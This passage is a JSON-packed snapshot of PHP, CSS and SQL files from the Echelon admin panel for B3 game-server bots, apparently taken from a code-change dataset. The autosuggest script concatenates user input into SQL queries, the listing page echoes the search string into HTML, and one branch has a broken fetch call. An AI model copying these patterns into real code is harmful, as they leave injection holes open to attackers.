'selected=\"selected\"' ?>>IP Address</option>\r\n\t\t\t<option value=\"id\" <?php if($search_type == \"id\") echo 'selected=\"selected\"' ?>>Player ID</option>\r\n\t\t</select>\r\n\t\t\r\n\t\t<input type=\"submit\" id=\"sub-search\" value=\"Search\" />\r\n\t</form>\r\n</fieldset>\r\n\r\n<table summary=\"A list of <?php echo limit_rows; ?> players who have connected to the server at one time or another.\">\r\n\t<caption>Client Listings\r\n\t\t<small>\r\n\t\t\t<?php\r\n\t\t\tif($search_type == \"all\")\r\n\t\t\t\techo 'You are searching all clients that match <strong>'.$search_string.'</strong> there are <strong>'. $total_rows .'</strong>.';\r\n\t\t\telseif($search_type == 'alias')\r\n\t\t\t\techo 'You are searching all clients names for <strong>'.$search_string.'</strong> there are <strong>'. $total_rows .'</strong>.';\r\n\t\t\telseif($search_type == 'pbid')\r\n\t\t\t\techo 'You are searching all clients Punkbuster Guids for <strong>'.$search_string.'</strong> there are <strong>'. $total_rows .'</strong>.';\r\n\t\t\telseif($search_type == 'id')\r\n\t\t\t\techo 'You are searching all clients B3 IDs for <strong>'.$search_string.'</strong> there are <strong>'. $total_rows .'</strong>.';\r\n\t\t\telseif($search_type == 'ip')\r\n\t\t\t\techo 'You are searching all clients IP addresses for <strong>'.$search_string.'</strong> there are <strong>'. $total_rows .'</strong>.';\r\n\t\t\telse\r\n\t\t\t\techo 'A list of all players who have ever connected to the server.';\r\n\t\t\t?>\r\n\t\t</small>\r\n\t</caption>\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Name\r\n\t\t\t\t<?php linkSortClients('name', 'Name', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Client-id\r\n\t\t\t\t<?php linkSortClients('id', 'Client-id', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Level\r\n\t\t\t\t<?php linkSortClients('group_bits', 'Level', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Connections\r\n\t\t\t\t<?php linkSortClients('connections', 'Connections', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>First Seen\r\n\t\t\t\t<?php linkSortClients('time_add', 'First Seen', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Last Seen\r\n\t\t\t\t<?php linkSortClients('time_edit', 'Last Seen', $is_search, $search_type, $search_string); ?>\r\n\t\t\t</th>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr>\r\n\t\t\t<th colspan=\"6\">Click client name to see details</th>\r\n\t\t</tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\tif($num_rows > 0) : // query contains stuff\r\n\t \r\n\t\tforeach($data_set as $client): // get data from query and loop\r\n\t\t\t$cid = $client['id'];\r\n\t\t\t$name = $client['name'];\r\n\t\t\t$level = $client['level'];\r\n\t\t\t$connections = $client['connections'];\r\n\t\t\t$time_edit = $client['time_edit'];\r\n\t\t\t$time_add = $client['time_add'];\r\n\t\t\t\r\n\t\t\t$time_add = date($tformat, $time_add);\r\n\t\t\t$time_edit = date($tformat, $time_edit);\r\n\t\t\t\r\n\t\t\t$alter = alter();\r\n\t\t\t\t\r\n\t\t\t$client = clientLink($name, $cid);\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t$data = <<<EOD\r\n\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t<td><strong>$client</strong></td>\r\n\t\t\t\t<td>@$cid</td>\r\n\t\t\t\t<td>$level</td>\r\n\t\t\t\t<td>$connections</td>\r\n\t\t\t\t<td><em>$time_add</em></td>\r\n\t\t\t\t<td><em>$time_edit</em></td>\r\n\t\t\t</tr>\r\nEOD;\r\n\r\n\t\techo $data;\r\n\t\tendforeach;\r\n\telse :\r\n\t\t$no_data = true;\r\n\t\r\n\t\techo '<tr class=\"odd\"><td colspan=\"6\">';\r\n\t\tif($is_search == false)\r\n\t\t\techo 'There are no clients in the database.';\r\n\t\telse\r\n\t\t\techo 'Your search for <strong>'.$search_string.'</strong> has returned no results.';\r\n\t\techo '</td></tr>';\r\n\tendif; // no records\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n\r\n<?php\r\n\telse:\r\n\t\t\r\n\tendif; // db error\r\n\r\n\trequire 'inc/footer.php'; \r\n?>", "echelon/css/cd.css": "/* Client Details Page Styling */\r\n@media screen {\r\n\r\ntable.cd-table { margin-bottom: 25px; border: none; }\r\n\t.cd-table tbody tr { border-bottom: 1px solid #F4F4F4; }\r\n\t.cd-table tbody tr th { width: 15%; background: none; border: none; text-align: right; }\r\n\t.cd-table tbody tr td { width: 35%; border: none; }\r\n\r\ndiv#actions { margin-bottom: 25px; }\r\n\r\nul.cd-tabs { display: block; margin-left: 10px; height: 26px; }\r\nul.cd-tabs li { display: block; float: left; margin: 0 6px; background: #ddd; border: 1px solid #CCC; -moz-border-radius: 5px 5px 0 0; -webkit-border-radius: 5px 5px 0 0; box-shadow: 4px -1px 6px #EDEDED; -webkit-box-shadow: 4px -1px 6px #EDEDED; -moz-box-shadow: 4px -1px 6px #EDEDED; }\r\nul.cd-tabs li.cd-active, ul.cd-tabs li.chat-active { padding-bottom: 3px; border-bottom: none; background: #f3f3f3; box-shadow: none; -webkit-box-shadow: none; -moz-box-shadow: none; }\r\nul.cd-tabs li a { padding: 4px 9px; font-size: 15px; color: #999; display: block; }\r\nul.cd-tabs li a:hover { color: #666; text-decoration: none; cursor: pointer; }\r\n\r\n#actions-box { background: #f3f3f3; padding: 15px; border: 1px solid #CCC; -moz-border-radius: 7px; -webkit-border-radius: 7px; }\r\n.act-slide { display: none; }\r\n#cd-act-comment { display: block; }\r\n\r\n#chats-box { background: #f3f3f3; padding: 15px; border: 1px solid #CCC; -moz-border-radius: 7px; -webkit-border-radius: 7px; }\r\n.chat-content { display: none; }\r\n#chat-tab-0 { display: block; }\r\n\r\n.xlr { height: 7px; }\r\n\r\n.cd-h { margin: 20px 0 4px; border-bottom: 1px solid #efefef; padding-bottom: 3px; }\r\n.cd-open-close:hover, .cd-slide, #cd-h-admin:hover, #cd-h-pen:hover { cursor: pointer; }\r\nimg.cd-open { float: right; padding: 3px; margin: 8px; }\r\n\r\n.cd-table-fold { display: none; }\r\n#cd-tr-load-pen td { text-align: center; }\r\n#cd-tr-load-pen:hover { background : #fff; }\r\n.load-large { margin: 15px; }\r\n\r\n#eb-reason, #reason { width: 350px; }\r\ninput.dur { width: 60px; }\r\n\r\n.unban-form { width: 18px; display: inline; }\r\n.edit-ban:hover { cursor: pointer; }\t\t\r\n.eb-fs { display: block; float: none !important; width: 93% !important; }\r\n\r\n#edit-ban { margin: 25px; }\r\n\r\n/* ColorBox Core Style */\r\n#colorbox, #cboxOverlay, #cboxWrapper{position:absolute; top:0; left:0; z-index:9999; overflow:hidden;}\r\n#cboxOverlay{position:fixed; width:100%; height:100%;}\r\n#cboxMiddleLeft, #cboxBottomLeft{clear:left;}\r\n#cboxContent{position:relative; overflow:visible;}\r\n#cboxLoadedContent{overflow:auto;}\r\n#cboxLoadedContent iframe{display:none; width:100%; height:100%; border:0;}\r\n#cboxTitle{margin:0;}\r\n#cboxLoadingOverlay, #cboxLoadingGraphic{position:absolute; top:0; left:0; width:100%;}\r\n#cboxPrevious, #cboxNext, #cboxClose, #cboxSlideshow{cursor:pointer;}\r\n\r\n#cboxOverlay{background:#000;}\r\n\r\n#colorbox{}\r\n    #cboxTopLeft{width:14px; height:14px; background:url(../images/colorbox/controls.png) 0 0 no-repeat;}\r\n    #cboxTopCenter{height:14px; background:url(../images/colorbox/border.png) top left repeat-x;}\r\n    #cboxTopRight{width:14px; height:14px; background:url(../images/colorbox/controls.png) -36px 0 no-repeat;}\r\n    #cboxBottomLeft{width:14px; height:43px; background:url(../images/colorbox/controls.png) 0 -32px no-repeat;}\r\n    #cboxBottomCenter{height:43px; background:url(../images/colorbox/border.png) bottom left repeat-x;}\r\n    #cboxBottomRight{width:14px; height:43px; background:url(../images/colorbox/controls.png) -36px -32px no-repeat;}\r\n    #cboxMiddleLeft{width:14px; background:url(../images/colorbox/controls.png) -175px 0 repeat-y;}\r\n    #cboxMiddleRight{width:14px; background:url(../images/colorbox/controls.png) -211px 0 repeat-y;}\r\n    #cboxContent{background:#fff;}\r\n        #cboxLoadedContent{margin-bottom:5px;}\r\n        #cboxLoadingOverlay{background:url(../images/colorbox/loading_background.png) center center no-repeat;}\r\n        #cboxLoadingGraphic{background:url(../images/colorbox/loading.gif) center center no-repeat;}\r\n        #cboxTitle{position:absolute; bottom:-25px; left:0; text-align:center; width:100%; font-weight:bold; color:#7C7C7C;}\r\n        #cboxCurrent{position:absolute; bottom:-25px; left:58px; font-weight:bold; color:#7C7C7C;}\r\n        \r\n        #cboxPrevious, #cboxNext, #cboxClose, #cboxSlideshow{position:absolute; bottom:-29px; background:url(../images/colorbox/controls.png) 0px 0px no-repeat; width:23px; height:23px; text-indent:-9999px;}\r\n        #cboxPrevious{left:0px; background-position: -51px -25px;}\r\n        #cboxPrevious.hover{background-position:-51px 0px;}\r\n        #cboxNext{left:27px; background-position:-75px -25px;}\r\n        #cboxNext.hover{background-position:-75px 0px;}\r\n        #cboxClose{right:0; background-position:-100px -25px;}\r\n        #cboxClose.hover{background-position:-100px 0px;}\r\n        \r\n        .cboxSlideshow_on #cboxSlideshow{background-position:-125px 0px; right:27px;}\r\n        .cboxSlideshow_on #cboxSlideshow.hover{background-position:-150px 0px;}\r\n        .cboxSlideshow_off #cboxSlideshow{background-position:-150px -25px; right:27px;}\r\n        .cboxSlideshow_off #cboxSlideshow.hover{background-position:-125px 0px;}\r\n\t\r\n}\t\r\n@media print {\r\n\r\nbody { width:100% !important; margin:0 !important; padding:0 !important; line-height: 1.4; word-spacing:1.1pt; letter-spacing:0.2pt; font-family: Garamond,\"Times New Roman\", serif; color: #000; background: none; font-size: 12pt; }\r\nh1,h2,h3,h4,h5,h6 { font-family: Helvetica, Arial, sans-serif; }\r\nh1{font-size:19pt;}\r\nh2{font-size:17pt;}\r\nh3{font-size:15pt;}\r\nh4,h5,h6{font-size:12pt;}\r\ncode { font: 10pt Courier, monospace; } \r\nblockquote { margin: 1.3em; padding: 1em;  font-size: 10pt; }\r\nhr { background-color: #ccc; }\r\nimg { display: block; margin: 1em 0; }\r\na img { border: none; }\r\ntable { margin: 1px; text-align:left; }\r\nth { border-bottom: 1px solid #333;  font-weight: bold; }\r\ntd { border-bottom: 1px solid #333; }\r\nth,td { padding: 4px 10px 4px 0; }\r\ntfoot { font-style: italic; }\r\ncaption { background: #fff; margin-bottom:2em; text-align:left; }\r\nthead {display: table-header-group;}\r\ntr { page-break-inside: avoid;} \r\na { text-decoration: none; color: black; }\r\n\r\n#menu, #actions, .foot-nav, caption, .cd-open, #content-lower, .unban-form, .edit-ban { display: none; }\r\n\r\n}\r\n", "echelon/css/home.css": "/* Home Page CSS Styling */\r\n\r\n.index-block { width: 45%; margin: 10px; float: left; }\r\n.index-block h3 { text-align: center; padding-bottom: 4px; margin-bottom: 6px; border-bottom: 1px solid #efefef; }\r\n.index-block ul { list-style-position: outside; margin-left: 20px; }\r\n.index-block ul li { margin: 2px 0; }\r\n\r\n.links-list { list-style-type: circle; }\r\n.links-list li { display: iblock; margin: 3px 0; padding: 1px; border-bottom: 1px solid #efefef; }\r\n\r\n.padd { padding: 10px 0 10px 20px; font-size: 14px; }\r\n\r\np.welcome { margin: 10px; }\r\n\tp.welcome small { padding-left: 20px; }", "echelon/css/login.css": "/* CSS */\r\n.trys { border-bottom: 1px solid #fefefe; margin-bottom: 6px; padding-bottom: 2px; }\r\n#login-field { width: 45%; }\r\n#login-form { width: 325px; margin: 0 auto; }\r\nlabel { margin-right: 10px; display: inline-block; width: 80px; text-align: right; }\r\ndiv.lower { margin-top: 8px; border-top: 1px solid #ccc; }\r\n\t.links-lower { font-size: 14px; margin-left: 7px; }\r\n\t\t.links-lower a { font-style: italic; }\r\n\t.lower input { margin: 5px 15px; float: right; }\r\nspan.sep { color: #ededed; margin: 0 4px; }\r\ninput { margin: 10px 4px; }"}, "files_after": {"echelon.sql": "/*\r\nMySQL Data Transfer\r\nSource Host: localhost\r\nSource Database: echelon\r\nTarget Host: localhost\r\nTarget Database: echelon\r\nDate: 13/08/2010 00:47:01\r\n*/\r\n\r\nSET FOREIGN_KEY_CHECKS=0;\r\n-- ----------------------------\r\n-- Table structure for ech_blacklist\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_blacklist`;\r\nCREATE TABLE `ech_blacklist` (\r\n  `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT,\r\n  `ip` varchar(24) NOT NULL,\r\n  `active` tinyint(4) DEFAULT NULL,\r\n  `reason` varchar(255) DEFAULT NULL,\r\n  `time_add` int(32) unsigned DEFAULT NULL,\r\n  `admin_id` smallint(6) unsigned DEFAULT NULL,\r\n  PRIMARY KEY (`id`),\r\n  KEY `ip` (`ip`,`active`)\r\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_config\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_config`;\r\nCREATE TABLE `ech_config` (\r\n  `id` smallint(6) NOT NULL AUTO_INCREMENT,\r\n  `name` varchar(25) NOT NULL,\r\n  `value` varchar(255) NOT NULL,\r\n  PRIMARY KEY (`id`),\r\n  KEY `i_config` (`name`,`value`)\r\n) ENGINE=MyISAM AUTO_INCREMENT=17 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_games\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_games`;\r\nCREATE TABLE `ech_games` (\r\n  `id` smallint(8) unsigned NOT NULL AUTO_INCREMENT,\r\n  `name` varchar(255) NOT NULL,\r\n  `game` varchar(255) NOT NULL,\r\n  `name_short` varchar(255) DEFAULT NULL,\r\n  `num_srvs` smallint(9) NOT NULL,\r\n  `db_host` varchar(255) NOT NULL,\r\n  `db_user` varchar(255) NOT NULL,\r\n  `db_pw` varchar(255) DEFAULT NULL,\r\n  `db_name` varchar(255) NOT NULL,\r\n  `plugins` varchar(255) DEFAULT NULL,\r\n  PRIMARY KEY (`id`),\r\n  KEY `i_games` (`name`,`num_srvs`)\r\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_groups\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_groups`;\r\nCREATE TABLE `ech_groups` (\r\n  `id` smallint(4) unsigned NOT NULL AUTO_INCREMENT,\r\n  `name` varchar(32) NOT NULL,\r\n  `namep` varchar(255) DEFAULT NULL,\r\n  `premissions` varchar(512) NOT NULL,\r\n  PRIMARY KEY (`id`,`name`),\r\n  KEY `i_name` (`name`,`namep`)\r\n) ENGINE=MyISAM AUTO_INCREMENT=6 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_links\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_links`;\r\nCREATE TABLE `ech_links` (\r\n  `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT,\r\n  `url` varchar(255) NOT NULL,\r\n  `name` varchar(80) DEFAULT NULL,\r\n  `title` varchar(255) DEFAULT NULL,\r\n  PRIMARY KEY (`id`),\r\n  UNIQUE KEY `i_url` (`url`)\r\n) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_logs\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_logs`;\r\nCREATE TABLE `ech_logs` (\r\n  `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT,\r\n  `type` varchar(64) DEFAULT NULL,\r\n  `msg` varchar(255) DEFAULT '',\r\n  `client_id` mediumint(5) DEFAULT NULL,\r\n  `user_id` smallint(5) DEFAULT NULL,\r\n  `time_add` int(32) DEFAULT NULL,\r\n  `game_id` mediumint(10) DEFAULT NULL,\r\n  PRIMARY KEY (`id`),\r\n  KEY `i_logs` (`client_id`,`user_id`)\r\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_permissions\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_permissions`;\r\nCREATE TABLE `ech_permissions` (\r\n  `id` mediumint(6) NOT NULL AUTO_INCREMENT,\r\n  `name` varchar(50) NOT NULL,\r\n  `description` varchar(255) DEFAULT NULL,\r\n  PRIMARY KEY (`id`,`name`),\r\n  UNIQUE KEY `name` (`name`)\r\n) ENGINE=MyISAM AUTO_INCREMENT=28 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_servers\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_servers`;\r\nCREATE TABLE `ech_servers` (\r\n  `id` int(5) unsigned NOT NULL AUTO_INCREMENT,\r\n  `game` smallint(5) NOT NULL,\r\n  `name` varchar(100) NOT NULL,\r\n  `ip` varchar(15) NOT NULL,\r\n  `pb_active` tinyint(1) NOT NULL,\r\n  `rcon_pass` varchar(50) NOT NULL,\r\n  `rcon_ip` varchar(26) NOT NULL,\r\n  `rcon_port` int(5) NOT NULL,\r\n  PRIMARY KEY (`id`),\r\n  KEY `game` (`game`)\r\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_user_keys\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_user_keys`;\r\nCREATE TABLE `ech_user_keys` (\r\n  `reg_key` varchar(40) NOT NULL,\r\n  `ech_group` smallint(4) NOT NULL,\r\n  `admin_id` smallint(5) unsigned NOT NULL,\r\n  `comment` varchar(500) DEFAULT NULL,\r\n  `time_add` int(24) DEFAULT NULL,\r\n  `email` varchar(160) NOT NULL,\r\n  `active` tinyint(4) NOT NULL,\r\n  PRIMARY KEY (`reg_key`),\r\n  KEY `i_regkey` (`active`,`email`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_users\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_users`;\r\nCREATE TABLE `ech_users` (\r\n  `id` smallint(6) unsigned NOT NULL AUTO_INCREMENT,\r\n  `username` varchar(32) NOT NULL,\r\n  `display` varchar(32) DEFAULT NULL,\r\n  `email` varchar(32) DEFAULT NULL,\r\n  `password` varchar(64) NOT NULL,\r\n  `salt` varchar(12) NOT NULL,\r\n  `ip` varchar(24) DEFAULT NULL,\r\n  `ech_group` smallint(4) unsigned NOT NULL DEFAULT '1',\r\n  `admin_id` smallint(6) unsigned NOT NULL DEFAULT '0',\r\n  `first_seen` int(24) DEFAULT NULL,\r\n  `last_seen` int(24) DEFAULT NULL,\r\n  `timezone` varchar(32) DEFAULT NULL,\r\n  PRIMARY KEY (`id`),\r\n  UNIQUE KEY `username` (`username`),\r\n  UNIQUE KEY `password` (`password`),\r\n  KEY `salt` (`salt`),\r\n  KEY `i_group` (`ech_group`)\r\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Records \r\n-- ----------------------------\r\nINSERT INTO `ech_config` VALUES ('1', 'name', 'Development');\r\nINSERT INTO `ech_config` VALUES ('2', 'num_games', '0');\r\nINSERT INTO `ech_config` VALUES ('3', 'limit_rows', '50');\r\nINSERT INTO `ech_config` VALUES ('4', 'min_pw_len', '8');\r\nINSERT INTO `ech_config` VALUES ('5', 'user_key_expire', '14');\r\nINSERT INTO `ech_config` VALUES ('6', 'email', 'admin@example.com');\r\nINSERT INTO `ech_config` VALUES ('7', 'admin_name', 'Admin');\r\nINSERT INTO `ech_config` VALUES ('8', 'https', '0');\r\nINSERT INTO `ech_config` VALUES ('9', 'allow_ie', '1');\r\nINSERT INTO `ech_config` VALUES ('10', 'time_format', 'D, d/m/y (H:i)');\r\nINSERT INTO `ech_config` VALUES ('11', 'time_zone', 'Europe/Dublin');\r\nINSERT INTO `ech_config` VALUES ('12', 'email_header', 'Hello %name%, This is an email from the Echelon admins.');\r\nINSERT INTO `ech_config` VALUES ('13', 'email_footer', 'Thanks, the %ech_name% Echelon Team');\r\nINSERT INTO `ech_config` VALUES ('14', 'pw_req_level', '1');\r\nINSERT INTO `ech_config` VALUES ('15', 'pw_req_level_group', '64');\r\nINSERT INTO `ech_config` VALUES ('16', 'reg_clan_tags', '=(e)=,=(eG)=,=(eGO)=,{KGB}');\r\nINSERT INTO `ech_config` VALUES ('17', 'newsfeed', 'Echelon has been updated. Please report errors at https://github.com/miltann/Echelon-2.  -WatchMiltan');\r\nINSERT INTO `ech_groups` VALUES ('1', 'visitor', 'Visitor', '1,2,4,5');\r\nINSERT INTO `ech_groups` VALUES ('2', 'siteadmin', 'Site Admin', '1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28');\r\nINSERT INTO `ech_groups` VALUES ('3', 'senioradmin', 'Senior Admin', '1,2,3,4,5,8,12,14,16,17,20,21,22,23,24,28');\r\nINSERT INTO `ech_groups` VALUES ('4', 'admin', 'Admin', '1,2,3,4,5,8,16,17,20,21,22,28');\r\nINSERT INTO `ech_groups` VALUES ('5', 'mod', 'Moderator', '1,2,3,4,5,8,16,22');\r\nINSERT INTO `ech_links` VALUES ('1', 'http://wiki.bigbrotherbot.net/doku.php/echelon', 'Echelon Help Wiki', 'Documentation for the installation and use of Echelon');\r\nINSERT INTO `ech_links` VALUES ('2', 'http://echelon.bigbrotherbot.net/', 'Echelon Home', 'Home site of Echelon project, check here for development news, updates, and information regarding Echelon');\r\nINSERT INTO `ech_links` VALUES ('3', 'http://eire32designs.com', 'Eire32 Site', 'The developers site');\r\nINSERT INTO `ech_links` VALUES ('4', 'http://www.bigbrotherbot.net/forums/', 'B3 Site', 'Home of bigbrother bot');\r\nINSERT INTO `ech_links` VALUES ('5', 'http://cback.de/', 'CTracker', 'Anti-worm and anti-injection attack protection');\r\nINSERT INTO `ech_links` VALUES ('6', 'http://dryicons.com/', 'DryIcons', 'Thanks for the use of the nav icons!');\r\nINSERT INTO `ech_permissions` VALUES ('1', 'login', 'Allows the user to login');\r\nINSERT INTO `ech_permissions` VALUES ('2', 'clients', 'Allows the user to view the client listing');\r\nINSERT INTO `ech_permissions` VALUES ('3', 'chatlogs', 'Allows the user to view Chatlogs');\r\nINSERT INTO `ech_permissions` VALUES ('4', 'penalties', 'Allows the user to view the Penalty Listing pages');\r\nINSERT INTO `ech_permissions` VALUES ('5', 'admins', 'Allows the user to view the Admins Pages');\r\nINSERT INTO `ech_permissions` VALUES ('6', 'manage_settings', 'Allows the user to Manage Echelon Settings.');\r\nINSERT INTO `ech_permissions` VALUES ('7', 'chats_edit_tables', 'Allows the user to edit chatlogger settings');\r\nINSERT INTO `ech_permissions` VALUES ('8', 'logs', 'Allows the user to view Logs');\r\nINSERT INTO `ech_permissions` VALUES ('9', 'edit_user', 'Allows the user to edit other Echelon users');\r\nINSERT INTO `ech_permissions` VALUES ('10', 'add_user', 'Allows the user to Add Echelon Users');\r\nINSERT INTO `ech_permissions` VALUES ('11', 'manage_servers', 'Allows the user to Manage Servers');\r\nINSERT INTO `ech_permissions` VALUES ('12', 'ban', 'Allows the user to Ban');\r\nINSERT INTO `ech_permissions` VALUES ('13', 'edit_mask', 'Allows the user to Edit User Level Masks');\r\nINSERT INTO `ech_permissions` VALUES ('14', 'siteadmin', 'Allows the user to  control the site blacklist and other admin actions');\r\nINSERT INTO `ech_permissions` VALUES ('15', 'edit_perms', 'Allows the user to the premissions of user groups and users');\r\nINSERT INTO `ech_permissions` VALUES ('16', 'comment', 'Allows a user to add a comment to a client');\r\nINSERT INTO `ech_permissions` VALUES ('17', 'greeting', 'Allows the user to change the greeting of a client');\r\nINSERT INTO `ech_permissions` VALUES ('18', 'edit_client_level', 'Allows user to change a players B3 level');\r\nINSERT INTO `ech_permissions` VALUES ('19', 'edit_ban', 'Allows user to edit a B3 ban');\r\nINSERT INTO `ech_permissions` VALUES ('20', 'view_ip', 'Allows the user to view players IP addresses');\r\nINSERT INTO `ech_permissions` VALUES ('21', 'view_full_guid', 'Allow the user to view players full GUID for clients');\r\nINSERT INTO `ech_permissions` VALUES ('22', 'view_half_guid', 'Allow the user to view half of the player GUID for clients');\r\nINSERT INTO `ech_permissions` VALUES ('23', 'unban', 'Allows user to remove a B3 Ban');\r\nINSERT INTO `ech_permissions` VALUES ('24', 'edit_xlrstats', 'Allows user to edit a client\\'s XLRStats information (hidden, fixed name)');\r\nINSERT INTO `ech_permissions` VALUES ('25', 'ctime', 'Allows user to view CTime information');\r\nINSERT INTO `ech_permissions` VALUES ('26', 'see_update_msg', 'Shows this user the Echelon needs updating message');\r\nINSERT INTO `ech_permissions` VALUES ('27', 'chats_talk_back', 'Allows the user to talk back to the server using the Chats Plugin');\r\nINSERT INTO `ech_permissions` VALUES ('28', 'permban', 'Allows user to permban player.');\r\n", "echelon/actions/autosuggest.php": "<?php\r\n$auth_name = 'clients';\r\n$b3_conn = true;\r\nrequire '../inc.php';\r\n\r\n## If no string die\r\nif(!isset($_GET['s']))\r\n\tdie('There should be no direct access to this script!');\r\n\r\n## Continue\r\n$string = cleanvar($_GET['s']);\r\n\r\nif(strlen($string) > 0) {\r\n\r\n\t$query = \"SELECT name FROM clients WHERE UPPER(name) LIKE '\". $string .\"%' ORDER BY name LIMIT 10\";\r\n\t$stmt = $db->mysql->prepare($query);\r\n\t$stmt->execute();\r\n\t$stmt->store_result();\r\n\t\r\n\tif($stmt->num_rows) {\r\n\t\r\n\t\t$stmt->bind_result($name);\r\n\t\r\n\t\techo '<ol>';\r\n\t\t\twhile ($stmt->fetch()) :\r\n\t\t\t\techo '<li onClick=\"fill(\\''.tableClean($name).'\\');\">'.$name.'</li>';\r\n\t\t\tendwhile;\r\n\t\techo '</ol>';\r\n\t\t\r\n\t} else { // else try more flexible query\r\n\t\t\r\n\t\t$query_2 = \"SELECT name FROM clients WHERE SOUNDEX(name) = SOUNDEX('%%\". $string .\"%%') ORDER BY name LIMIT 10\";\r\n\t\t$stmt = $db->mysql->prepare($query_2);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->store_result();\r\n\t\t\t\t\r\n\t\tif($stmt->num_rows) { // if something return data\r\n\t\t\r\n\t\t\t$stmt->bind_result($name);\r\n\t\t\r\n\t\t\techo '<ul>';\r\n\t\t\twhile ($stmt->fetch()) :\r\n\t\t\t\techo '<li onClick=\"fill(\\''.tableClean($name).'\\');\">'.$name.'</li>';\r\n\t\t\tendwhile;\r\n\t\t\techo '</ul>';\r\n\t\t\t\r\n\t\t} else { // if nothing try even more flexible query\r\n\t\t\r\n\t\t\t$query_3 = \"SELECT name FROM clients WHERE SUBSTRING(SOUNDEX(name),2) = SUBSTRING(SOUNDEX('%%%\". $string .\"%%%'),2) ORDER BY name LIMIT 10\";\r\n\t\t\t$stmt = $db->mysql->prepare($query_3);\r\n\t\t\t$stmt->execute();\r\n\t\t\t$stmt->store_result();\r\n\t\t\t\r\n\t\t\tif($stmt->num_rows) { // if something return data\r\n\t\t\t\r\n\t\t\t\t$stmt->bind_result($name);\r\n\t\t\t\r\n\t\t\t\techo '<ul>';\r\n\t\t\t\twhile ($result = $query_3->fetch_object()) :\r\n\t\t\t\t\techo '<li onClick=\"fill(\\''.tableClean($name).'\\');\">'.$name.'</li>';\r\n\t\t\t\tendwhile;\r\n\t\t\t\techo '</ul>';\r\n\t\t\t\t\r\n\t\t\t} else { // if nothing try even more flexible query\r\n\t\t\t\t\r\n\t\t\t\techo '<ul><li>There are no matches to your search</li></ul>';\r\n\t\t\t\r\n\t\t\t} // show error if nothing gotten overal\r\n\t\t\r\n\t\t} // end if two returned nothing!\r\n\t\r\n\t} // end if query one returned nothing !\r\n\r\n}\r\n\r\n?>", "echelon/actions/b3/ban.php": "<?php\r\n$auth_name = 'ban';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\nif(!$_POST['ban-sub']) { // if the form not is submitted\r\n    send('../../index.php');\r\n\tset_error('Please do not call that ban page directly, thank you.');\r\n}\r\n\r\n## check that the sent form token is corret\r\nif(!verifyFormToken('ban', $tokens)) // verify token\r\n\tifTokenBad('Add ban');\r\n\r\n## Type of ban and get and set vars ##\r\n$pb_ban = cleanvar($_POST['pb']);\r\nif($pb_ban == 'on') {\r\n\t$is_pb_ban = true;\r\n} else {\r\n\t$is_pb_ban = false;\r\n\t$duration_form = cleanvar($_POST['duration']);\r\n\t$time = cleanvar($_POST['time']);\r\n\temptyInput($time, 'time frame');\r\n\temptyInput($duration_form, 'penalty duration');\r\n}\r\n\r\n$reason = cleanvar($_POST['reason']);\r\n$client_id = cleanvar($_POST['cid']);\r\n$pbid = cleanvar($_POST['c-pbid']);\r\n$c_name = cleanvar($_POST['c-name']);\r\n$c_ip = cleanvar($_POST['c-ip']);\r\n\r\n// check for empty reason\r\nemptyInput($reason, 'ban reason');\r\n\r\n## Check sent client_id is a number ##\r\nif(!isID($client_id))\r\n\tsendBack('Invalid data sent, ban not added');\r\n\t\r\n## Sort out some ban information\r\nif($is_pb_ban) { // if the ban is perma ban\r\n\t$type = 'Ban';\r\n\t$time_expire = '-1';\r\n\t$duration = 0;\r\n} else {\r\n\t$type = 'TempBan';\r\n\t\r\n\t// NOTE: the duration in the DB is done in MINUTES and the time_expire is written in unix 